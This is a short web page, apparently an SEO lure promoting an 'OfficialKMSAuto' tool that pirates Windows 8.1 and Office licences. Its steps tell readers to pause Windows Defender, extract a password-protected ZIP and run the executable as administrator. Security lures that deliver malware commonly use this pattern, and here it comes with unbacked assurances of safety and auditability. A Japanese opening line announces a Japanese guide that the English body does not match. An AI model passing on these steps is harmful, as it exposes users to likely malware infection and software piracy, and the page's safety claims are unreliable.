本記事は 2026 年版 Windows 8.1 の日本語完全ガイドです。Windows 8.1 KMS servers are still online. Activation takes 30 seconds.

Step-by-step activation

Follow these steps exactly — the whole process takes under two minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Extract the ZIP using the password WYqejXiqBi97
  • Right-click the executable and choose 'Run as administrator'
  • Pick the recommended method (HWID, Ohook or TSforge)
  • Wait for 'Successfully activated' then reboot

After activation — what to check

Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.

Why OfficialKMSAuto is the safest choice

Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.

Frequently asked questions

Is this method free?

Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.

Will it survive Windows updates?

Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.

Is internet required?

Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.

Does it work on Windows 11 24H2?

Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
